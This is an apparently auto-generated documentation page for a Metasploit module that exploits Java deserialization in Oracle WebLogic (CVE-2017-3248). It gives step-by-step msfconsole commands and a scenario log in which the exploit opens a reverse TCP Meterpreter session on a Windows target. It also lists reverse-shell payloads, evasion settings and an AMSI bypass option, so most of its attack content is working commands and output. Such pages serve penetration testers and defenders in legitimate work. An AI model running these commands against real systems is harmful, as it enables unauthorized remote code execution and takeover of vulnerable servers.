Oracle Weblogic Server Deserialization RCE - RMI UnicastRef - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/weblogic_deserialize_unicastref metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Oracle Weblogic Server Deserialization RCE - RMI UnicastRef
Module: exploit/multi/misc/weblogic_deserialize_unicastref
Source code: modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb
Disclosure date: 2017-01-25
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): Solaris, Unix, Windows
Target service / protocol: -
Target network port(s): 7001
List of CVEs: CVE-2017-3248
An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a serialized object (sun.rmi.server.UnicastRef) to the interface to execute code on vulnerable hosts.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/misc/weblogic_deserialize_unicastref
msf exploit(weblogic_deserialize_unicastref) > show targets
... a list of targets ...
msf exploit(weblogic_deserialize_unicastref) > set TARGET target-id
msf exploit(weblogic_deserialize_unicastref) > show options
... show and set options ...
msf exploit(weblogic_deserialize_unicastref) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
Oracle Weblogic Server v10.3.6.0, v12.1.3.0, and v12.2.1.1 are vulnerable to a deserialization vulnerability (CVE 2017-3248) in the core Components subcomponent due to unsafe deserialization of Java objects by the RMI registry and produce a JRMP connection from the target, which can be used to execute code on vulnerable systems. An unauthenticated user with network access via T3 could exploit the vulnerability. This module has been tested against Oracle Weblogic Server v10.3.6.0 and v12.1.3.0 running on Windows 7 x64 using JDK v7u80.
Vulnerable Application
Oracle Weblogic Server v10.3.6.0, v12.1.3.0, and v12.2.1.1.
Verification Steps
./msfconsole -quse exploit/multi/misc/weblogic_deserialize_unicastrefset srvhost <srvhost>set srvport <srvport>set rhosts <rhost>set rport <srvport>exploitsessions -i 1
Scenarios
Tested on Windows 7 x64 running Oracle Weblogic Server 10.3.6.0 and 12.1.3.0 on JDK v7u80
msf exploit(multi/misc/weblogic_deserialize_unicastref) > set srvhost 192.168.192.136
srvhost => 192.168.192.136
msf exploit(multi/misc/weblogic_deserialize_unicastref) > set srvport 8888
srvport => 8888
msf exploit(multi/misc/weblogic_deserialize_unicastref) > set rhost 192.168.192.6
rhost => 192.168.192.6
msf exploit(multi/misc/weblogic_deserialize_unicastref) > set rport 7001
rport => 7001
msf exploit(multi/misc/weblogic_deserialize_unicastref) > exploit
[*] Exploit running as background job 17.
[*] Started reverse TCP handler on 192.168.192.136:4444
msf exploit(multi/misc/weblogic_deserialize_unicastref) > [*] 192.168.192.6:7001 - Sending handshake...
[*] 192.168.192.6:7001 - Sending T3 request object...
[*] 192.168.192.6:7001 - Sending client object payload...
[*] 192.168.192.6:7001 - Sending payload to client: 192.168.192.6
[*] Sending stage (179779 bytes) to 192.168.192.6
[*] Meterpreter session 9 opened (192.168.192.136:4444 -> 192.168.192.6:49283) at 2018-12-14 11:45:44 -0800
[*] 192.168.192.6:7001 - Server stopped.
msf exploit(multi/misc/weblogic_deserialize_unicastref) > sessions -i 9
[*] Starting interaction with 9...
meterpreter > sysinfo
Computer : GIOTTO-HS-W7
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
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Msfconsole Usage
Here is how the multi/misc/weblogic_deserialize_unicastref exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/weblogic_deserialize_unicastref
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/misc/weblogic_deserialize_unicastref) > show info
Name: Oracle Weblogic Server Deserialization RCE - RMI UnicastRef
Module: exploit/multi/misc/weblogic_deserialize_unicastref
Platform: Unix, Windows, Solaris
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-01-25
Provided by:
Andres Rodriguez
Jacob Baines
Aaron Soto
Available targets:
Id Name
-- ----
0 Unix
1 Windows
2 Solaris
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 7001 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload information:
Avoid: 1 characters
Description:
An unauthenticated attacker with network access to the Oracle
Weblogic Server T3 interface can send a serialized object
(sun.rmi.server.UnicastRef) to the interface to execute code on
vulnerable hosts.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-3248
Module Options
This is a complete list of options available in the multi/misc/weblogic_deserialize_unicastref exploit:
msf6 exploit(multi/misc/weblogic_deserialize_unicastref) > show options
Module options (exploit/multi/misc/weblogic_deserialize_unicastref):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 7001 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Unix
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/weblogic_deserialize_unicastref exploit:
msf6 exploit(multi/misc/weblogic_deserialize_unicastref) > show advanced
Module advanced options (exploit/multi/misc/weblogic_deserialize_unicastref):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/weblogic_deserialize_unicastref module can exploit:
msf6 exploit(multi/misc/weblogic_deserialize_unicastref) > show targets
Exploit targets:
Id Name
-- ----
0 Unix
1 Windows
2 Solaris
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/weblogic_deserialize_unicastref exploit:
msf6 exploit(multi/misc/weblogic_deserialize_unicastref) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
1 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/weblogic_deserialize_unicastref exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/weblogic_deserialize_unicastref) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Oracle WebLogic Server banner cannot be found
Here is a relevant code snippet related to the "Oracle WebLogic Server banner cannot be found" error message:
83: )
84:
85: return CheckCode::Unknown unless resp && resp.code == 200
86:
87: unless resp.body.include?('Oracle WebLogic Server Administration Console')
88: vprint_warning("Oracle WebLogic Server banner cannot be found")
89: return CheckCode::Unknown
90: end
91:
92: /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
93: unless version
Oracle WebLogic Server version cannot be found
Here is a relevant code snippet related to the "Oracle WebLogic Server version cannot be found" error message:
89: return CheckCode::Unknown
90: end
91:
92: /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
93: unless version
94: vprint_warning("Oracle WebLogic Server version cannot be found")
95: return CheckCode::Unknown
96: end
97:
98: version = Rex::Version.new(version)
99: vprint_good("Detected Oracle WebLogic Server Version: #{version}")
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11136 Merged Pull Request: Add Weblogic_serialization_unicastref CVE 2017-3248
References
See Also
Check also the following modules related to this module:
- exploit/multi/misc/weblogic_deserialize
- exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- exploit/multi/misc/weblogic_deserialize_badattr_extcomp
- exploit/multi/misc/weblogic_deserialize_badattrval
- exploit/multi/misc/weblogic_deserialize_marshalledobject
- exploit/multi/misc/weblogic_deserialize_rawobject
- exploit/multi/http/weblogic_admin_handle_rce
- exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
- exploit/windows/http/bea_weblogic_jsessionid
- exploit/windows/http/bea_weblogic_post_bof
- exploit/windows/http/bea_weblogic_transfer_encoding
- exploit/windows/http/oats_weblogic_console
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/http/jenkins_xstream_deserialize
- exploit/multi/http/shiro_rememberme_v124_deserialize
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/windows/http/hp_imc_java_deserialize
- exploit/windows/misc/ibm_websphere_java_deserialize
Related Nessus plugins:
- Oracle WebLogic Server Multiple Vulnerabilities (April 2018 CPU)
- Oracle WebLogic Server Deserialization RCE (CVE-2018-2628)
- Oracle WebLogic Server Java Object RMI Connect-Back Deserialization RCE (January 2017 CPU)
- Oracle WebLogic Java Object RMI Connect-Back Deserialization RCE (January 2017 CPU)
Authors
- Andres Rodriguez
- Jacob Baines
- Aaron Soto
Version
This page has been produced using Metasploit Framework version 6.1.26-dev. For more modules, visit the Metasploit Module Library.
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